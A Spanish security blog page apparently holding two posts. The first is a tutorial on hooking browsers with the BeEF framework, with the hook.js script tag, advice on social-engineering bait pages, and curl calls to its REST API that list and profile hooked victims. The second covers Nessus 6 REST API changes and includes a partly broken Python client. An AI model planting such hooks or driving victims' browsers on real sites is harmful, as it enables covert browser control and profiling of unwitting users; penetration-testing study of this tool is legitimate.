Beef, a diferencia de otras herramientas de pentesting web, se centra en el contexto de los clientes y utilizando un hook en Javascript, permite crear una red de bots que pueden ser controlados desde un panel de control central. Basta con que un usuario navegue por un sitio web que contenga dicho hook para que automáticamente haga parte de esa red de bots. Hay que tener en cuenta que dicho hook no explota ninguna vulnerabilidad 0day sobre los navegadores web o cosas similares, sino que simplemente incluye varias rutinas desarrolladas en Javascript que realizan peticiones contra el panel de control de Beef y desde dicho panel de control, se pueden enviar instrucciones al hook para que realice tareas sobre el entorno (navegador web) de la víctima, de esta forma es posible acceder a información básica del navegador web, activar o desactivar plugins y extensiones o incluso forzar la navegación hacia sitios web arbitrarios, obviamente sin la debida autorización por parte de la víctima. La siguiente imagen enseña la arquitectura de Beef y como se puede ver, se compone por un servidor centrar del C&C y una serie de zombies que se encuentran “infectados” por el hook. Ahora bien, esta supuesta “infección” no es persistente ni mucho menos, ya que se trata simplemente de un fichero Javascript se ejecuta en el contexto de la página web visitada por la víctima, basta con cerrar dicha página web y problema resuelto.

beefarchitectureArquitectura de beef

La imagen anterior ha sido tomada del sitio web oficial de Beef y se puede apreciar perfectamente el funcionamiento de la herramienta que es simple y a su vez muy potente.
Cuando una víctima accede a una página web que contiene el hook y a menos que exista algún bloqueo de las peticiones HTTP entre el C&C de Beef y la víctima, aparecerá automáticamente en el panel de control un nuevo bot.
A partir de aquí, es el momento de establecer el vector de ataque. Debes crear una página web que incluya el script “hook.js” y evidentemente, entre mejor elaborado sea dicho vector, mejores resultados (+ víctimas) lograrás conseguir. Aquí entra en juego la creatividad y definir quien o quienes van a ser los objetivos del ataque, de tal forma que puedas ofrecer algo que tus víctimas potenciales puedan querer y les invite a entrar y permanecer en el sitio web que ejecuta el hook, aquí las técnicas de ingeniería social son vitales y ofrecer un servicio perfectamente “legitimo” como un juego online o algún servicio web concreto, puede ser lo suficientemente atractivo para la víctima como para que decida visitar el sitio y permanecer en él algún tiempo. Dicha página lo único que necesita tener es esto:

<script src=”http://192.168.1.98:3000/hook.js&#8221; type=”text/javascript”></script>

Así de fácil.

Cuando una víctima accede a la página web maliciosa, automáticamente se convierte en un bot del C&C de Beef, tal como se enseña en la siguiente imagen.

victimbeef

Automatización de Beef con su API Rest

Ahora viene la parte divertida, Beef cuenta con una API Rest que permite la automatización de tareas, algo que desde luego viene muy bien cuando se deben gestionar múltiples víctimas y resulta muy ineficiente (y tedioso) hacerlo desde la interfaz web. Su uso es bastante simple y como se ha visto en líneas anteriores, solamente es necesario contar con la API Key que genera la herramienta de forma automática cuando se levanta Beef. Con dicha API Key se pueden invocar los endpoints definidos en la API y de esta forma, obtener información del C&C de Beef en formato JSON. Para hacer pruebas simples se puede utilizar una herramienta con CURL o WGET y posteriormente, utilizar un lenguaje como Python o Ruby para crear rutinas que permitan invocar múltiples endpoints y hacer cosas mucho más interesantes.

Obtener el listado de víctimas

>curl http://localhost:3000/api/hooks?token=4ecc590cb776484412492a7bd3f0ad03cd47660
{“hooked-browsers”:{“online”:{“0”:{“id”:1,”session”:”ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”name”:”FF”,”version”:”38″,”os”:”Linux”,”platform”:”Linux x86_64″,”ip”:”192.168.1.98″,”domain”:”Unknown”,”port”:”0″,”page_uri”:”file:///home/adastra/Escritorio/testing.html”}},”offline”:{}}}

Como se puede ver, aparecen los bots que salen en el panel de control de Beef y en este caso, cada “hooked-browser” puede encontrarse online u offline y cuenta con un identificador (atributo “session”) que puede ser utilizado para realizar consultas contra ese bot concreto como por ejemplo…

Recuperar los detalles del navegador web de un bot concreto

>curl http://localhost:3000/api/hooks/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{“BrowserLanguage”:”es-ES”,”BrowserName”:”FF”,”BrowserPlatform”:”Linux x86_64″,”BrowserPlugins”:”DivX® Web Player-v.,Google Talk Plugin-v.,Google Talk Plugin Video Renderer-v.,Java(TM) Plug-in 10.80.2-v.10.80.2,QuickTime Plug-in 7.6.6-v.,Shockwave Flash-v.11.2.202.468,VLC Multimedia Plugin (compatible Videos 3.10.1)-v.,Windows Media Player Plug-in 10 (compatible; Videos)-v.,iTunes Application Detector-v.”,”BrowserReportedName”:”Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0″,”BrowserType”:”{\”C19iOS\”:null,\”C20iOS\”:null,\”C21iOS\”:null,\”C22iOS\”:null,\”C23iOS\”:null,\”C24iOS\”:null,\”C25iOS\”:null,\”C26iOS\”:null,\”C27iOS\”:null,\”C28iOS\”:null,\”C29iOS\”:null,\”C30iOS\”:null,\”C31iOS\”:null,\”C32iOS\”:null,\”C33iOS\”:null,\”C34iOS\”:null,\”C35iOS\”:null,\”C36iOS\”:null,\”C37iOS\”:null,\”C38iOS\”:null,\”C39iOS\”:null,\”C40iOS\”:null,\”C41iOS\”:null,\”C42iOS\”:null,\”C\”:null,\”FF38\”:true,\”FF\”:true}”,”BrowserVersion”:”38″,”CPU”:”64-bit”,”Cookies”:”BEEFHOOK=ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”DateStamp”:”Wed Jul 08 2015 22:02:28 GMT+0200 (CEST)”,”DefaultBrowser”:”Unknown”,”Hardware”:”Unknown”,”HasActiveX”:”No”,”HasFlash”:”Yes”,”HasGoogleGears”:”No”,”HasPhonegap”:”No”,”HasQuickTime”:”Yes”,”HasRealPlayer”:”No”,”HasWMP”:”Yes”,”HasWebRTC”:”Yes”,”HasWebSocket”:”Yes”,”HostName”:”Unknown”,”IP”:”192.168.1.98″,”OsName”:”Linux”,”PageReferrer”:”Unknown”,”PageTitle”:”Unknown”,”PageURI”:”file:///home/adastra/Escritorio/testing.html”,”ScreenSize”:”{\”width\”=>1920, \”height\”=>1080, \”colordepth\”=>24}”,”TouchEnabled”:”No”,”VBScriptEnabled”:”No”,”WindowSize”:”{\”width\”=>1865, \”height\”=>953}”,”hasPersistentCookies”:”Yes”,”hasSessionCookies”:”Yes”}

En este caso, el valor “session” del bot nos permite acceder a todos los detalles del navegador web de la víctima, algo que puede ser utilizado para posteriormente ejecutar ataques dirigidos contra dicho bot.

Accediendo a los logs de un bot

>curl http://localhost:3000/api/logs/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{“logs_count”:42,”logs”:[{“id”:2,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98 appears to have come back online”,”type”:”Zombie”},{“id”:3,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98 just joined the horde from the domain: Unknown:0″,”type”:”Zombie”},{“id”:4,”date”:”2015-07-08T22:02:29+02:00″,”event”:”0.012s – [Focus] Browser window has regained focus.”,”type”:”Event”},…….

También se puede acceder a los logs de que se han producido para un bot concreto, nuevamente partiendo del valor “session” del bot en cuestión.

Listando los módulos disponibles en Beef

>curl http://localhost:3000/api/modules?token=4ecc590cb776484412492a7bd3f0ad03cd47660a

{“0”:{“id”:1,”class”:”Iframe_above”,”name”:”Create Foreground iFrame”,”category”:”Persistence”},”1″:{“id”:2,”class”:”Confirm_close_tab”,”name”:”Confirm Close Tab”,”category”:”Persistence”},”2″:{“id”:3,”class”:”Man_in_the_browser”,”name”:”Man-In-The-Browser”,”category”:”Persistence”},”3″:{“id”:4,”class”:”Popunder_window”,”name”:”Create Pop Under”,

………

Listar los módulos desde la API Rest no tiene mayores beneficios, ya que es lo mismo que se puede hacer desde el navegador web accediendo directamente al panel de administración, sin embargo si que es importante obtener el identificador de cada módulo para poder ejecutarlo contra uno o varios bots de forma programática, dicho identificador se puede obtener de la respuesta a la invocación del servicio anterior.

Existen muchos más endpoints en la API Rest de Beef que se encuentran documentados en el siguiente enlace: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API y que nos permitirá acceder a todos los detalles de configuración del panel de Beef y controlar programáticamente todas las víctimas capturadas, algo que desde luego resulta muy interesante y que veremos en el próximo artículo utilizando Python.

Saludos y Happy Hack!
Adastra.

La API Rest de Nessus en su versión 6

julio 9, 2015 Deja un comentario

Hace algunos meses que ha salido la versión 6 de Nessus, el popular escaner de vulnerabilidades diseñado y desarrollado por “Tenable network security” y la verdad es que llevaba tiempo sin trabajar con él, pero la semana pasada me escribió alguien comentando que la librería que desarrollé hace algunos meses (pynessus-rest) para interactuar programáticamente desde cualquier script en Python con Nessus, no le funcionaba correctamente. Pues bien, me puse a ver las trazas que me había enviado y me resultaron de lo más curiosas, ya que ni siquiera había conseguido obtener un token de autorización utilizando su cuenta de usuario. Pensé que a lo mejor se debía a un fallo en su instalación de Nessus o algo similar, así que me descargo e instalo la última versión de Nessus, escribo un script simple en el que solamente me autentico y creo una política y a continuación, cierro sesión para destruir el token creado anteriormente. 5 líneas de código, ni más ni menos. Pues bien, también me falla. Comienzo a revisar qué puede estar pasando y me llevo una “agradable” sorpresa al ver que la API Rest de Nessus 6.0 no es compatible hacia atrás con las demás versiones de Nessus.
Pues muy bien, es estupendo hacer cosas sobre un producto que no solamente no sigue sus propios estándares, sino que además no documenta adecuadamente los cambios que hace tras cada versión. La guía oficial a la fecha de redactar este artículo sigue siendo la correspondiente a la API Rest 5.0 (http://static.tenable.com/documentation/nessus_5.0_XMLRPC_protocol_guide.pdf) y por mucho que he buscado, no he encontrado esa misma guía para la nueva especificación, solamente comentarios en el foro de “Tenable” en el que mucha gente hace básicamente las mismas preguntas, ya que no hay una guía en la que se indique exactamente todos los detalles de los servicios REST de Nessus 6, tales como métodos HTTP soportados, parámetros, cabeceras, path de los servicios, descripción funcional detallada, etc. Lo más parecido a una documentación actualizada se encuentra en la propia interfaz de Nessus en la siguiente ruta: https://<NESSUS_SERVER>:8834/nessus6-api.html#/
Allí se explican todos los servicios que se encuentran actualmente disponibles en la versión 6 y como se puede ver, el path de los servicios en la versión 5.0 ha cambiado drásticamente en la versión 6.0. Así que si tenias algún script para automatizar alguna tarea utilizando la API Rest de Nessus en su versión 5.0, ya te puedes olvidar de que funcione en las nuevas versiones de Nessus. Ahora bien, es perfectamente comprensible que cada nueva versión de un programa incluya mejoras y nuevas características, cosas que hacen que el programa en cuestión evolucione y sea cada vez mejor, pero lo que siempre hay que tener en cuenta es que los usuarios esperan que las cosas que funcionaban en una versión, sigan funcionando correctamente en la siguiente (salvo error u omisión). Lo que se espera es que las interfaces o mecanismos de acceso sigan siendo los mismos, con el objetivo de que una posible migración sea lo más transparente posible. En el caso de la API Rest de Nessus, ninguno de los endpoints que estaban disponibles en la versión 5 de la API se encuentra disponibles en la versión 6, lo que obliga a todos los usuarios que actualicen Nessus a volver a implementar completamente todas rutinas automatizadas que tiren de la API.

Aunque con los nuevos cambios implementados en la versión actual de Nessus, la librería “pynessus-rest” queda deprecada, aun es posible seguir utilizando Python para realizar conexiones contra una instalación de Nessus y obtener información a partir de la API Rest de Nessus 6.
Para hacerlo, se puede utilizar cualquier librería para realizar peticiones HTTP, algo que abunda en Python. Por comodidad y simplicidad se puede utilizar “requests”.

nessus1Autenticación contra Nessus usando requests

Como se puede apreciar, es muy fácil conseguir un token de autenticación valido para interactuar con otros servicios de la API mucho más interesantes y en este caso concreto, lo único que ha cambiado entre la versión 6 y la versión 5 de la API es el endpoint, que ahora es “/session”. Si los cambios de todos los servicios fueran así de simples, no habría mayor problema, pero debido al rediseño que ha tenido el propio core Nessus en la versión actual, muchos de los servicios más utilizados como aquellos que permiten crear/editar políticas, gestionar escaneos y reportes, también han cambiado en la forma y estructura en la que devuelven información, con lo cual, una rutina de parseo del JSON de respuesta que antes funcionaba perfectamente en la versión 5 no va a funcionar para la versión 6. Es un limitante que impide la migración de scripts que esperan un formato y una estructura muy especifica para parsear la información que viene incluida en los JSON de respuestas. No obstante, en el caso de crear scripts desde cero, partiendo de la versión actual y con las reglas definidas en los servicios, realizar peticiones y procesar respuestas no es demasiado complicado y como siempre, se debe partir de un token valido para invocar a servicios que requieren autenticación para ser invocados, algo que ya se ha visto en la imagen anterior. El siguiente script enseña cómo utilizar las principales funciones en “pynessus-rest” adaptándolas un poco a los nuevos servicios disponibles en la versión 6.

import requests
import json 

class NessusClient():
    def __init__(self, nessusServer, nessusPort,
			validateCert=False,initialSeqNumber=1):
        self.nessusServer = nessusServer
        self.nessusPort = nessusPort
self.url='https://'+str(nessusServer)+':'+str(nessusPort)
        self.token = None
        self.headers = {}
        self.bodyRequest = {}
        self.seqNumber = initialSeqNumber
        self.validateCert = validateCert
    def constructParamsAndHeaders(self,
			headers={}, params={}, jsonFormat=True):
        if jsonFormat:
            self.body = {'seq' : self.seqNumber,
			'json' : '1'}
        else:
            self.body = {'seq' : self.seqNumber,
			'json' : '0'}
        if self.token is not None:
            #No authentication needed.
            self.headers={'Host': str(self.nessusServer)+':'+str(self.nessusPort),			'Content-type':'application/x-www-form-urlencoded',
	'X-Cookie':'token='+self.token,'seq':self.seqNumber}
        else:
            self.headers={'Host':str(self.nessusServer)+':'+str(self.nessusPort),
'Content-type':'application/x-www-form-urlencoded'}
        self.body.update(params)
        self.headers.update(headers)
        print self.headers 

    def requestNessus(self, url, method="POST"):
        '''
        Perform a request to Nessus server using the data and headers received by parameter.
        This function automatically increments the sequence identifier for Nessus requests.
        '''
        if method == "GET":
            response = requests.get(url,
			data=self.body, headers=self.headers, verify=self.validateCert)
        else:
            response = requests.post(url,
			data=self.body, headers=self.headers, verify=self.validateCert)
        self.seqNumber += 1
        try:
            return json.loads(response.content)
        except ValueError:
            return response.content 

    def call(self, service, params={},
			jsonFormat=True, method="GET"): self.constructParamsAndHeaders(params=params,
			jsonFormat=jsonFormat)
        content =self.requestNessus(self.url+service, method=method)
        return content
    def login(self, nessusUser, nessusPassword,
			jsonFormat=True):
        '''
        Login with the Nessus server using the user and password specified.
        '''
	self.constructParamsAndHeaders(params= 'username':nessusUser, 'password':nessusPassword})
        content = self.requestNessus(self.url+"/session", method="POST")
        if content.has_key("token"):
            self.token = content['token']
        return content 

client = NessusClient('127.0.0.1','8834')
client.login('adastra','password')
print str(client.call('/policies'))+"\n"
print str(client.call('/scans',
			params={'folder_id':1, 'last_modification_date':1}))+"\n"

El servicio “/scans” es un claro ejemplo de los cambios se han implementado en Nessus en esta última versión, ya que ahora este tipo de elementos se almacenan en contenedores internos de llamados “folders”. Para poder consultar un listado de escaneos es obligatorio especificar el identificador del folder, tal como se ha visto en el script anterior.

nessus2Peticiones y respuestas tras invocar a los servicios “/scans” y “/policies”

La imagen corresponde a lo que pinta por pantalla el script anterior, de tal forma que se pueden ver las cabeceras de las peticiones así como también el cuerpo de las mismas. Las respuestas emitidas por Nessus vienen en formato JSON y contienen información sobre las políticas y escaneos que se han creado.

Si quieres conocer más sobre los servicios que se encuentran disponibles en la nueva versión Nessus, te recomiendo que te fijes en la documentación que viene incluida en https://<NESSUS_SERVER>:8834/nessus6-api.html#/ tendrás que levantar una instancia de Nessus y ver los servicios disponibles junto con sus métodos. Si bien la documentación no está mal, hay ciertos detalles importantes que no se detallan pero si que los encuentras en el foro de Nessus, así que también es un buen recurso para visitar con frecuencia.
La persona que me reporto el posible “fallo” en pynessus-rest también me pregunto que si pensaba actualizar la librería para hacerla compatible con los nuevos esquemas definidos en la versión actual. Francamente no tiene sentido dedicar tiempo y esfuerzos en hacer algo que muy probablemente se va a quedar obsoleto en pocos meses debido a que Tenable no consigue definir unas pautas mínimas de compatibilidad entre las distintas versiones de su software. Dicho esto, si utilizas Nessus 5, pynessus-rest te va a funcionar perfectamente a la hora de automatizar tareas, pero para la versión 6 tendrás que programar un poco más y crear tus propias de rutinas de parseo (y esperar a que no se rompa nada cuando salga una nueva versión de Nessus en unos pocos meses).

Un saludo y Happy Hack!
Adastra.

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.615 seguidores

A %d blogueros les gusta esto: